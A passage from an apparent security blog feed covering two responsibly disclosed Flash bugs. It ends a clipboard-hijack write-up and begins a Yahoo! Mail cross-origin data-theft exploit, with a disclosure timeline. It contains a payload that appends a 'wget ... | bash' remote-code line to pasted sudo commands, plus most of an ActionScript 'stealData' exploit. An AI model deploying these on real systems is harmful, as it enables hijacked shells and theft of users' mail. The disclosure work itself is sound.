<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
</pre></td><td class='code'><pre><code class='as3'><span class='line'><span class="kd">var</span> <span class="n">PAYLOAD_START</span><span class="p">:</span><span class="kt">String</span> <span class="o">=</span> <span class="s1">&#39;echo -e &quot;\\x1B[A\\x1B[J\\$ you could use more complex vt100 codes to scrub this properly but eh&quot;;&#39;</span><span class="o">;</span>
</span><span class='line'><span class="c1">// The trailing newline will make it execute immediately after pasting in many shells, not giving them time to inspect the command</span>
</span><span class='line'><span class="c1">// see https://cirw.in/blog/bracketed-paste</span>
</span><span class='line'><span class="kd">var</span> <span class="n">PAYLOAD_END</span><span class="p">:</span><span class="kt">String</span> <span class="o">=</span> <span class="s1">&#39;;wget &quot;http://saynotolinux.com/bash_payload.txt&quot; -O - 2&gt;/dev/null | bash;\n&#39;</span><span class="o">;</span>
</span><span class='line'><span class="c1">// snip...</span>
</span><span class='line'>
</span><span class='line'><span class="kd">var</span> <span class="n">cbContents</span><span class="p">:</span><span class="kt">String</span> <span class="o">=</span> <span class="n">Clipboard</span><span class="o">.</span><span class="na">generalClipboard</span><span class="o">.</span><span class="na">getData</span><span class="o">(</span><span class="n">ClipboardFormats</span><span class="o">.</span><span class="na">TEXT_FORMAT</span><span class="o">)</span> <span class="k">as</span> <span class="n">String</span><span class="o">;</span>
</span><span class='line'><span class="c1">// This looks like an interesting command to hijack, the user will be expecting to enter their sudo password,</span>
</span><span class='line'><span class="c1">// and they won&#39;t need to enter a password for our payload if we run it afterwards.</span>
</span><span class='line'><span class="k">if</span> <span class="o">(</span><span class="n">cbContents</span><span class="o">.</span><span class="na">match</span><span class="o">(/^</span><span class="n">sudo</span> <span class="o">/))</span> <span class="o">{</span>
</span><span class='line'>    <span class="n">Clipboard</span><span class="o">.</span><span class="na">generalClipboard</span><span class="o">.</span><span class="na">setData</span><span class="o">(</span><span class="n">ClipboardFormats</span><span class="o">.</span><span class="na">TEXT_FORMAT</span><span class="o">,</span> <span class="n">PAYLOAD_START</span> <span class="o">+</span> <span class="n">cbContents</span> <span class="o">+</span> <span class="n">PAYLOAD_END</span><span class="o">);</span>
</span><span class='line'><span class="o">}</span>
</span></code></pre></td></tr></table></div></figure>




<h2>PoC</h2>




<p>The code for a <a href="https://gist.github.com/JordanMilne/7ad2dc114ad0eab5fa7b">full PoC is here</a>, and a <a href="http://saynotolinux.com/tests/flash_clip/persist_jack.html">live version without the echo server is also up here</a>.</p>




<h2>The Fix</h2>




<p>The initial fix was to <a href="https://code.google.com/p/chromium/issues/detail?id=333094#c15">expose a sequence number to Flash</a> so it could tell if the clipboard state had changed since the initial event was raised, and block access to the clipboard. That stayed in place for a while, but some time after that it was replaced with a change that blocked clipboard reads 10 seconds after the event was raised. If I had to guess why, some application probably relied on being able to do multiple clipboard reads and writes in the same event handler.</p>




<p>Being able to read the clipboard 10 seconds after the initial paste event still seems a bit much, but it&rsquo;s definitely better than how it was before.</p>




<h2>The Take-Away</h2>




<ul>
<li>Flash event handlers may continue to execute up to <em>two hours</em> after starting, even after closing incognito windows!</li>
<li>Flash&rsquo;s <code>Socket</code> class is useful something other than <a href="https://superuser.com/questions/313230/use-a-socks5-proxy-in-flash-player">bypassing the user&rsquo;s proxy</a>!</li>
<li>Flash still has low-hanging fruit to be picked, and its stdlib is absolutely enormous. There aren&rsquo;t many eyeballs on it either, you&rsquo;re only really competing against Masato Kinugawa :)</li>
</ul>




<h2>Disclosure Timeline</h2>




<ul>
<li>2014-01-06: Disovered the bug</li>
<li>2014-01-09: Reported to Google&rsquo;s sec team due to it mostly affecting PPAPI Flash</li>
<li>2014-01-09: Bug confirmed by Google&rsquo;s security team</li>
<li>2014-01-13: Bug confirmed by Adobe&rsquo;s security team</li>
<li>2014-01-29: Google ships code exposing the clipboard sequence num to Flash via PPAPI</li>
<li>2014-03-14: Adobe ships a fix to use Chrome&rsquo;s clipboard sequence number</li>
<li>???: Flash switches to allowing clipboard reads for 10 seconds after the event is raised</li>
</ul>




<h2>Footnotes</h2>


<div class="footnotes">
<hr/>
<ol>
<li id="fn:1">
<p>Firefox on Linux demonstrates similar behaviour, but allows Flash&rsquo;s event handlers to continue executing <em>even after the browser has closed</em>.<a href="#fnref:1" rev="footnote">&#8617;</a></p></li>
<li id="fn:2">
<p>Again, Firefox on Linux behaves differently. You can send / receive as much as you want, even after the browser has closed. It&rsquo;s possible that Chrome&rsquo;s behaviour is a bug.<a href="#fnref:2" rev="footnote">&#8617;</a></p></li>
</ol>
</div>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Seizing Control of Yahoo! Mail Cross-Origin... Again]]></title>
    <link href="http://blog.saynotolinux.com/blog/2014/12/09/seizing-control-of-yahoo-mail-cross-origin-again/"/>
    <updated>2014-12-09T03:56:01-08:00</updated>
    <id>http://blog.saynotolinux.com/blog/2014/12/09/seizing-control-of-yahoo-mail-cross-origin-again</id>
    <content type="html"><![CDATA[<p><em>This is a follow-up to another article about crossorigin mail theft on Yahoo! Mail using Flash. For a better understanding of the issue, you can read that here: <a href="http://blog.saynotolinux.com/blog/2014/03/01/yahoos-pet-show-of-horrors-abusing-a-crossdomain-proxy-to-leak-a-users-email/">http://blog.saynotolinux.com/blog/2014/03/01/yahoos-pet-show-of-horrors-abusing-a-crossdomain-proxy-to-leak-a-users-email/</a></em></p>




<h2>TL;DR</h2>




<p>A .swf on Yahoo&rsquo;s CDN had a vulnerability that enabled near-complete control over Yahoo! Mail crossorigin. The .swf itself is fixed, but the configuration issue that allowed a .swf completely unrelated to Yahoo! Mail to do something like that still exists.</p>




<h2>The Issue</h2>




<p>So, in the last article we established that YMail&rsquo;s <code>crossdomain.xml</code> rules are incredibly lax:</p>




<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class='xml'><span class='line'><span class="nt">&lt;crossorigin-policy&gt;</span>
</span><span class='line'>  <span class="nt">&lt;allow-access-from</span> <span class="na">domain=</span><span class="s">&quot;*.yahoo.com&quot;</span> <span class="na">secure=</span><span class="s">&quot;false&quot;</span><span class="nt">/&gt;</span>
</span><span class='line'>  <span class="nt">&lt;allow-access-from</span> <span class="na">domain=</span><span class="s">&quot;l.yimg.com&quot;</span> <span class="na">secure=</span><span class="s">&quot;false&quot;</span><span class="nt">/&gt;</span>
</span><span class='line'>  <span class="nt">&lt;allow-access-from</span> <span class="na">domain=</span><span class="s">&quot;s.yimg.com&quot;</span> <span class="na">secure=</span><span class="s">&quot;false&quot;</span><span class="nt">/&gt;</span>
</span><span class='line'><span class="nt">&lt;/crossorigin-policy&gt;</span>
</span></code></pre></td></tr></table></div></figure>




<p>They allow .swfs on any subdomain of <code>yahoo.com</code> to read resources on YMail crossorigin. Last time we abused a crossorigin proxy on <code>hk.promotions.yahoo.com</code> to serve up our own .swf that would request pages from YMail and leak them back to us. The crossorigin proxy has since been patched, but the loose <code>crossdomain.xml</code> rules remain. Assuming there&rsquo;s no way for us to serve our own .swf through <code>yahoo.com</code> anymore, how can we exploit these rules without using MITM attacks? Well, we abuse vulnerabilities in .swfs that are <em>legitimately</em> hosted on subdomains of <code>yahoo.com</code>.</p>




<p>Let&rsquo;s look for a .swf that will allow us to make arbitrary requests, and read the response. With a little searching we find a good candidate, <a href="https://sp.yimg.com/dv/i/izmo/engine/hotspotgallery/hotspotgallery.swf">hotspotgallery.swf</a>, related to a feature on Yahoo! Autos that gives 3D tours of cars. Normally it&rsquo;s served up on <code>sp.yimg.com</code>, which isn&rsquo;t a domain allowed by YMail&rsquo;s <code>crossdomain.xml</code>, but with a little finagling we find that the same .swf <a href="http://img.autos.yahoo.com/i/izmo/engine/hotspotgallery/hotspotgallery.swf">can also be accessed on img.autos.yahoo.com</a>.</p>




<!--more-->




<p><a href="http://blog.saynotolinux.com/images/posts/ymail_again/hotspotgallery.png"><img class="center" src="http://blog.saynotolinux.com/images/posts/ymail_again/thumbs/hotspotgallery.jpg" width="640" height="480"></a></p>




<p>Let&rsquo;s take a peek at <a href="https://gist.github.com/JordanMilne/145722dd2ca31bc96f86">the ActionScript from the decompiler</a> to see why this .swf is useful to us:</p>




<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class='actionscript'><span class='line'><span class="kd">public</span> <span class="kd">dynamic</span> <span class="kd">class</span> <span class="nx">MainTimeline</span> <span class="kd">extends</span> <span class="nb">MovieClip</span> <span class="p">{</span>
</span><span class='line'>    <span class="c1">// ... snip</span>
</span><span class='line'>  <span class="kd">function</span> <span class="nx">frame1</span><span class="p">(){</span>
</span><span class='line'>      <span class="nb">Security</span><span class="p">.</span><span class="nx">allowDomain</span><span class="p">(</span><span class="s2">&quot;*&quot;</span><span class="p">);</span>
</span><span class='line'>      <span class="c1">// ... snip</span>
</span><span class='line'>  <span class="p">}</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>




<p>Immediately we notice the <code>Security.allowDomain("*")</code>, which is usually not a good sign. The reason for that is Flash has a feature where you can embed a crossorigin .swf inside your own. You can access and call the public members of the embedded .swf&rsquo;s <code>MovieClip</code> object, but normally this is disallowed unless the embedding .swf is same-origin with it. </p>




<p><code>Security.allowDomain()</code> allows you to relax that restriction for specific domains, and this .swf is saying .swfs from <em>any</em> domain can access its <code>MovieClip</code>&rsquo;s public members. <code>Security.allowDomain("*")</code> isn&rsquo;t necessarily a security issue on its own, unless your .swf&rsquo;s public members do or store something security sensitive. Now, this .swf <em>is</em> vulnerable, and to see why we&rsquo;ll look at the <code>loadXML2()</code> method:</p>




<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
</pre></td><td class='code'><pre><code class='actionscript'><span class='line'><span class="kd">public</span> <span class="kd">dynamic</span> <span class="kd">class</span> <span class="nx">MainTimeline</span> <span class="kd">extends</span> <span class="nb">MovieClip</span> <span class="p">{</span>
</span><span class='line'>  <span class="kd">public</span> <span class="k">var</span> <span class="nx">exteriorXML</span><span class="o">:</span><span class="nb">String</span><span class="o">;</span>
</span><span class='line'>  <span class="kd">public</span> <span class="k">var</span> <span class="nx">DATA3</span><span class="o">:</span><span class="nb">XML</span><span class="o">;</span>
</span><span class='line'>  <span class="kd">public</span> <span class="k">var</span> <span class="nx">dataPath</span><span class="o">;</span>
</span><span class='line'>  <span class="c1">// ... snip</span>
</span><span class='line'>    <span class="kd">public</span> <span class="kd">function</span> <span class="nx">loadXML2</span><span class="p">()</span><span class="o">:</span><span class="nx">void</span><span class="p">{</span>
</span><span class='line'>        <span class="k">var</span> <span class="nx">ldr</span><span class="o">:*</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
</span><span class='line'>        <span class="k">var</span> <span class="nx">loader_IO_ERROR</span><span class="o">:*</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
</span><span class='line'>        <span class="k">var</span> <span class="nx">ldrEventHandler</span><span class="o">:*</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
</span><span class='line'>        <span class="nx">loader_IO_ERROR</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">()</span><span class="o">:</span><span class="nx">void</span><span class="p">{</span>
</span><span class='line'>        <span class="p">};</span>
</span><span class='line'>        <span class="nx">ldrEventHandler</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">_arg1</span><span class="o">:</span><span class="nb">Event</span><span class="p">)</span><span class="o">:</span><span class="nx">void</span><span class="p">{</span>
</span><span class='line'>            <span class="nx">DATA3</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">XML</span><span class="p">(</span><span class="nx">_arg1</span><span class="p">.</span><span class="nx">target</span><span class="p">.</span><span class="nx">data</span><span class="p">);</span>
</span><span class='line'>            <span class="nx">temp</span><span class="p">.</span><span class="nx">text</span> <span class="o">=</span> <span class="nx">DATA3</span><span class="o">;</span>
</span><span class='line'>            <span class="nx">loadAnim</span><span class="p">((</span><span class="nx">enginePath</span> <span class="o">+</span> <span class="s2">&quot;/angfront.swf&quot;</span><span class="p">)</span><span class="o">,</span> <span class="o">-</span><span class="mi">10</span><span class="o">,</span> <span class="o">-</span><span class="mi">10</span><span class="p">);</span>
</span><span class='line'>        <span class="p">};</span>
</span><span class='line'>        <span class="nx">ldr</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">URLLoader</span><span class="p">();</span>
</span><span class='line'>        <span class="k">try</span> <span class="p">{</span>
</span><span class='line'>            <span class="nx">ldr</span><span class="p">.</span><span class="nx">load</span><span class="p">(</span><span class="k">new</span> <span class="nb">URLRequest</span><span class="p">(</span><span class="nx">dataPath</span> <span class="o">+</span> <span class="s2">&quot;/&quot;</span> <span class="o">+</span> <span class="nx">exteriorXML1</span><span class="p">));</span>
</span><span class='line'>        <span class="p">}</span> <span class="k">catch</span><span class="p">(</span><span class="nx">error</span><span class="o">:</span><span class="nb">SecurityError</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>            <span class="nf">trace</span><span class="p">(</span><span class="s2">&quot;A SecurityError has occurred.&quot;</span><span class="p">);</span>
</span><span class='line'>        <span class="p">};</span>
</span><span class='line'>        <span class="nx">ldr</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="nb">IOErrorEvent</span><span class="p">.</span><span class="nx">IO_ERROR</span><span class="o">,</span> <span class="nx">loader_IO_ERROR</span><span class="p">);</span>
</span><span class='line'>        <span class="nx">ldr</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="nb">Event</span><span class="p">.</span><span class="nx">COMPLETE</span><span class="o">,</span> <span class="nx">ldrEventHandler</span><span class="p">);</span>
</span><span class='line'>    <span class="p">}</span>
</span><span class='line'>    <span class="c1">// ... snip</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>




<p>As you can see, the code makes a request to <code>this.dataPath</code> concatenated with <code>this.exteriorXML1</code>.  When it gets a response, it parses it as XML, and stores the result in <code>this.DATA3</code>. But we control all 3 of those members due to the <code>public</code> access modifiers and <code>Security.allowDomain("*")</code>, and can both read from <em>and</em> write to them from .swfs on our own domain. Given that we control the URL requested, can read the response, and can trigger the behaviour at will, all from a crossorigin Flash document, we&rsquo;ve got crossorigin data leakage!</p>




<p>Well&hellip; with a few caveats:</p>




<ul>
<li>The target endpoint must respond to <code>GET</code>s</li>
<li>If the response has angle brackets in it and it isn&rsquo;t syntactically correct XML, we probably can&rsquo;t get the response. The reason for that is the response is run through the XML constructor and it simply throws in the case of invalid XML. Luckily, Flash considers JSON without angle brackets to be valid XML and treats it as a single TextNode, so some JSON can still be leaked.</li>
<li>We can&rsquo;t get the response if the status code is non-200 since this code only stores the response in the success case.</li>
<li>The endpoint can&rsquo;t require an auth token we can&rsquo;t guess</li>
</ul>




<h2>First Steps</h2>




<p>Let&rsquo;s start by making some ActionScript to embed and exploit <code>hotspotgallery.swf</code>. From here on you will need to be logged in to Yahoo! for some links to work. Here we&rsquo;ve got a very simple JS<->Flash proxy in the style of CrossXHR. It loads up the vulnerable .swf, sets its public members so it&rsquo;ll request the resource we want to leak, then returns the response back to JS:</p>




<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
<span class='line-number'>41</span>
<span class='line-number'>42</span>
<span class='line-number'>43</span>
<span class='line-number'>44</span>
<span class='line-number'>45</span>
<span class='line-number'>46</span>
<span class='line-number'>47</span>
<span class='line-number'>48</span>
<span class='line-number'>49</span>
<span class='line-number'>50</span>
<span class='line-number'>51</span>
<span class='line-number'>52</span>
<span class='line-number'>53</span>
<span class='line-number'>54</span>
<span class='line-number'>55</span>
<span class='line-number'>56</span>
<span class='line-number'>57</span>
<span class='line-number'>58</span>
<span class='line-number'>59</span>
<span class='line-number'>60</span>
<span class='line-number'>61</span>
<span class='line-number'>62</span>
<span class='line-number'>63</span>
<span class='line-number'>64</span>
<span class='line-number'>65</span>
<span class='line-number'>66</span>
<span class='line-number'>67</span>
<span class='line-number'>68</span>
<span class='line-number'>69</span>
<span class='line-number'>70</span>
<span class='line-number'>71</span>
<span class='line-number'>72</span>
<span class='line-number'>73</span>
<span class='line-number'>74</span>
<span class='line-number'>75</span>
<span class='line-number'>76</span>
<span class='line-number'>77</span>
<span class='line-number'>78</span>
<span class='line-number'>79</span>
<span class='line-number'>80</span>
<span class='line-number'>81</span>
<span class='line-number'>82</span>
<span class='line-number'>83</span>
<span class='line-number'>84</span>
<span class='line-number'>85</span>
<span class='line-number'>86</span>
<span class='line-number'>87</span>
<span class='line-number'>88</span>
<span class='line-number'>89</span>
<span class='line-number'>90</span>
<span class='line-number'>91</span>
<span class='line-number'>92</span>
<span class='line-number'>93</span>
<span class='line-number'>94</span>
<span class='line-number'>95</span>
<span class='line-number'>96</span>
<span class='line-number'>97</span>
<span class='line-number'>98</span>
<span class='line-number'>99</span>
<span class='line-number'>100</span>
</pre></td><td class='code'><pre><code class='as3'><span class='line'><span class="kd">package</span> <span class="o">{</span>
</span><span class='line'><span class="k">import</span> <span class="nn">flash.display.</span><span class="o">*;</span>
</span><span class='line'><span class="k">import</span> <span class="nn">flash.events.</span><span class="o">*;</span>
</span><span class='line'><span class="k">import</span> <span class="nn">flash.external.</span><span class="o">*;</span>
</span><span class='line'><span class="k">import</span> <span class="nn">flash.net.</span><span class="o">*;</span>
</span><span class='line'><span class="k">import</span> <span class="nn">flash.text.</span><span class="o">*;</span>
</span><span class='line'><span class="k">import</span> <span class="nn">flash.utils.</span><span class="o">*;</span>
</span><span class='line'><span class="k">import</span> <span class="nn">flash.system.</span><span class="o">*;</span>
</span><span class='line'>
</span><span class='line'><span class="kd">public</span> <span class="kd">class</span> <span class="n">YahooFlasher</span> <span class="kd">extends</span> <span class="n">MovieClip</span> <span class="o">{</span>
</span><span class='line'>
</span><span class='line'>    <span class="c1">// Vulnerable SWF to make our requests through</span>
</span><span class='line'>    <span class="kd">private</span> <span class="kd">static</span> <span class="kd">const</span> <span class="n">PROXY_URL</span><span class="p">:</span><span class="kt">String</span> <span class="o">=</span> <span class="s2">&quot;http://img.autos.yahoo.com/i/izmo/engine/hotspotgallery/hotspotgallery.swf&quot;</span><span class="o">;</span>
</span><span class='line'>
</span><span class='line'>    <span class="c1">// Get just the origin from a fully-qualified URL</span>
</span><span class='line'>    <span class="kd">private</span> <span class="kd">static</span> <span class="kd">const</span> <span class="n">ORIGIN_REGEX</span><span class="p">:</span><span class="kt">RegExp</span> <span class="o">=</span> <span class="sr">/^(\w+:\/\/[^\/]+\/).*/</span><span class="o">;</span>
</span><span class='line'>
</span><span class='line'>    <span class="kd">public</span> <span class="kd">function </span><span class="nf">YahooFlasher</span><span class="o">()</span> <span class="o">{</span>
</span><span class='line'>        <span class="n">addEventListener</span><span class="o">(</span><span class="n">Event</span><span class="o">.</span><span class="na">ADDED_TO_STAGE</span><span class="o">,</span> <span class="n">onAdded</span><span class="o">);</span>
</span><span class='line'>    <span class="o">}</span>
</span><span class='line'>
</span><span class='line'>    <span class="kd">private</span> <span class="kd">function </span><span class="nf">onAdded</span><span class="o">(</span><span class="n">e</span><span class="o">:</span><span class="kt">Event</span><span class="o">):</span><span class="kt">void</span> <span class="o">{</span>
</span><span class='line'>        <span class="c1">// Set timeout to avoid syncronous issues</span>
</span><span class='line'>        <span class="n">setTimeout</span><span class="o">(</span><span class="kd">function</span><span class="o">():</span><span class="kc">void</span> <span class="o">{</span>
</span><span class='line'>            <span class="k">if</span> <span class="o">(</span><span class="n">ExternalInterface</span><span class="o">.</span><span class="na">available</span><span class="o">)</span> <span class="o">{</span>
</span><span class='line'>                <span class="c1">// Let&#39;s not make *ourselves* vulnerable to weird exploits.</span>
</span><span class='line'>                <span class="kd">var</span> <span class="n">swfOrigin</span><span class="p">:</span><span class="kt">String</span> <span class="o">=</span> <span class="n">loaderInfo</span><span class="o">.</span><span class="na">url</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="n">ORIGIN_REGEX</span><span class="o">,</span> <span class="s2">&quot;$1&quot;</span><span class="o">);</span>
</span><span class='line'>                <span class="k">if</span><span class="o">(!</span><span class="n">ORIGIN_REGEX</span><span class="o">.</span><span class="na">test</span><span class="o">(</span><span class="n">swfOrigin</span><span class="o">)</span> <span class="o">||</span> <span class="n">swfOrigin</span> <span class="o">!=</span> <span class="n">Security</span><span class="o">.</span><span class="na">pageDomain</span><span class="o">)</span> <span class="o">{</span>
</span><span class='line'>                    <span class="n">ExternalInterface</span><span class="o">.</span><span class="na">call</span><span class="o">(</span><span class="s2">&quot;alert&quot;</span><span class="o">,</span> <span class="s2">&quot;AY! This .swf needs to be on the same page as the one embedding it!&quot;</span><span class="o">);</span>
</span><span class='line'>                    <span class="k">return</span><span class="o">;</span>
</span><span class='line'>                <span class="o">}</span>
</span><span class='line'>                <span class="n">ExternalInterface</span><span class="o">.</span><span class="na">addCallback</span><span class="o">(</span><span class="s2">&quot;stealData&quot;</span><span class="o">,</span> <span class="n">stealData</span><span class="o">);</span>
</span><span class='line'>                <span class="n">ExternalInterface</span><span class="o">.</span><span class="na">call</span><span class="o">(</span><span class="s2">&quot;flasherReady&quot;</span><span class="o">);</span>
</span><span class='line'>            <span class="o">}</span>
</span><span class='line'>        <span class="o">},</span> <span class="mi">1</span><span class="o">);</span>
</span><span class='line'>    <span class="o">}</span>
</span><span class='line'>
</span><span class='line'>    <span class="kd">public</span> <span class="kd">function </span><span class="nf">stealData</span><span class="o">(</span><span class="n">targetURL</span><span class="o">:</span><span class="kt">String</span><span class="o">,</span> <span class="n">callback</span><span class="o">:</span><span class="kt">String</span><span class="o">):</span><span class="kt">void</span> <span class="o">{</span>
</span><span class='line'>        <span class="c1">///</span>
</span><span class='line'>        <span class="c1">/// Steal data through the proxy SWF, response body must look like</span>
</span><span class='line'>        <span class="c1">/// valid XML and status code must not be &gt;= 400.</span>
</span><span class='line'>        <span class="c1">///</span>
</span><span class='line'>        <span class="kd">var</span> <span class="n">ldrComplete</span><span class="p">:</span><span class="kt">Function</span> <span class="o">=</span> <span class="kd">function</span> <span class="o">(</span><span class="n">_arg1</span><span class="o">:</span><span class="n">Event</span><span class="o">):</span><span class="kc">void</span> <span class="o">{</span>
</span><span class='line'>            <span class="n">setTimeout</span><span class="o">(</span><span class="kd">function</span><span class="o">():</span><span class="kc">void</span><span class="o">{</span>
</span><span class='line'>                <span class="kd">var</span> <span class="n">proxyClip</span><span class="p">:</span><span class="kt">Object</span> <span class="o">=</span> <span class="n">MCLoader</span><span class="o">.</span><span class="na">content</span><span class="o">;</span>
</span><span class='line'>
</span><span class='line'>                <span class="c1">// This thing&#39;s all janked and the request will be made to dataPath + &quot;/&quot; + exteriorXML1.</span>
</span><span class='line'>                <span class="c1">// Try to make it so that this won&#39;t affect our target.</span>
</span><span class='line'>                <span class="kd">var</span> <span class="n">splitURL</span><span class="p">:</span><span class="kt">Array</span> <span class="o">=</span> <span class="n">targetURL</span><span class="o">.</span><span class="na">split</span><span class="o">(</span><span class="s1">&#39;/&#39;</span><span class="o">);</span>
</span><span class='line'>                <span class="n">proxyClip</span><span class="o">.</span><span class="na">dataPath</span> <span class="o">=</span> <span class="n">splitURL</span><span class="o">.</span><span class="na">shift</span><span class="o">();</span>
</span><span class='line'>                <span class="n">proxyClip</span><span class="o">.</span><span class="na">exteriorXML1</span> <span class="o">=</span> <span class="n">splitURL</span><span class="o">.</span><span class="na">join</span><span class="o">(</span><span class="s1">&#39;/&#39;</span><span class="o">);</span>
</span><span class='line'>
</span><span class='line'>                <span class="c1">// Triggers the HTTP Request through the vulnerable SWF</span>
</span><span class='line'>                <span class="n">proxyClip</span><span class="o">.</span><span class="na">loadXML2</span><span class="o">();</span>
</span><span class='line'>
</span><span class='line'>                <span class="kd">var</span> <span class="n">timeLimit</span><span class="p">:</span><span class="kt">Number</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">Date</span><span class="o">().</span><span class="n">getTime</span><span class="o">()</span> <span class="o">+</span> <span class="mi">10000</span><span class="o">;</span>
</span><span class='line'>
</span><span class='line'>                <span class="c1">// Keep checking if the data&#39;s been loaded,</span>
</span><span class='line'>                <span class="c1">// If `new XML(response)` raises, this will never be true,</span>
</span><span class='line'>                <span class="c1">// the response has to look like valid XML, but most JSON</span>
</span><span class='line'>                <span class="c1">// resources work too. Maybe because it sees it as one big </span>
</span><span class='line'>                <span class="c1">// top-level TextNode?</span>
</span><span class='line'>                <span class="kd">function </span><span class="nf">checkFinished</span><span class="o">():</span><span class="kt">void</span> <span class="o">{</span>
</span><span class='line'>                    <span class="n">setTimeout</span><span class="o">(</span><span class="kd">function</span><span class="o">():</span><span class="kc">void</span> <span class="o">{</span>
</span><span class='line'>                        <span class="kd">var</span> <span class="n">stolenXML</span><span class="p">:</span><span class="kt">XML</span> <span class="o">=</span> <span class="n">proxyClip</span><span class="o">.</span><span class="na">DATA3</span><span class="o">;</span>
</span><span class='line'>                        <span class="k">if</span><span class="o">(</span><span class="n">stolenXML</span> <span class="o">!==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
</span><span class='line'>                            <span class="kd">var</span> <span class="n">ret</span><span class="p">:</span><span class="kt">String</span><span class="o">;</span>
</span><span class='line'>                            <span class="c1">// If we get a simple node with no name, it&#39;s probably not even XML.</span>
</span><span class='line'>                            <span class="c1">// Get the string representation without XML escaping.</span>
</span><span class='line'>                            <span class="k">if</span><span class="o">(</span><span class="n">stolenXML</span><span class="o">.</span><span class="na">name</span><span class="o">()</span> <span class="o">||</span> <span class="n">stolenXML</span><span class="o">.</span><span class="na">hasComplexContent</span><span class="o">())</span>
</span><span class='line'>                                <span class="n">ret</span> <span class="o">=</span> <span class="n">stolenXML</span><span class="o">.</span><span class="na">toXMLString</span><span class="o">();</span>
</span><span class='line'>                            <span class="k">else</span>
</span><span class='line'>                                <span class="n">ret</span> <span class="o">=</span> <span class="n">stolenXML</span><span class="o">.</span><span class="na">toString</span><span class="o">();</span>
</span><span class='line'>
</span><span class='line'>                            <span class="k">if</span><span class="o">(</span><span class="n">callback</span><span class="o">)</span>
</span><span class='line'>                                <span class="c1">// Flash can&#39;t be trusted to serialize `ret` properly. Just encode it.</span>
</span><span class='line'>                                <span class="n">ExternalInterface</span><span class="o">.</span><span class="na">call</span><span class="o">(</span><span class="n">callback</span><span class="o">,</span> <span class="n">encodeURIComponent</span><span class="o">(</span><span class="n">ret</span><span class="o">));</span>
</span><span class='line'>                        <span class="o">}</span> <span class="k">else</span> <span class="o">{</span>
</span><span class='line'>                            <span class="c1">// Hit a timeout when trying to fetch the response. Either a non-200 status code</span>
</span><span class='line'>                            <span class="c1">// was returned, or we couldn&#39;t parse the body as XML :(</span>
</span><span class='line'>                            <span class="k">if</span><span class="o">(</span><span class="k">new</span> <span class="kt">Date</span><span class="o">().</span><span class="n">getTime</span><span class="o">()</span> <span class="o">&gt;</span> <span class="n">timeLimit</span><span class="o">)</span> <span class="o">{</span>
</span><span class='line'>                                <span class="k">if</span><span class="o">(</span><span class="n">callback</span><span class="o">)</span>
</span><span class='line'>                                    <span class="n">ExternalInterface</span><span class="o">.</span><span class="na">call</span><span class="o">(</span><span class="n">callback</span><span class="o">,</span> <span class="kc">null</span><span class="o">);</span>
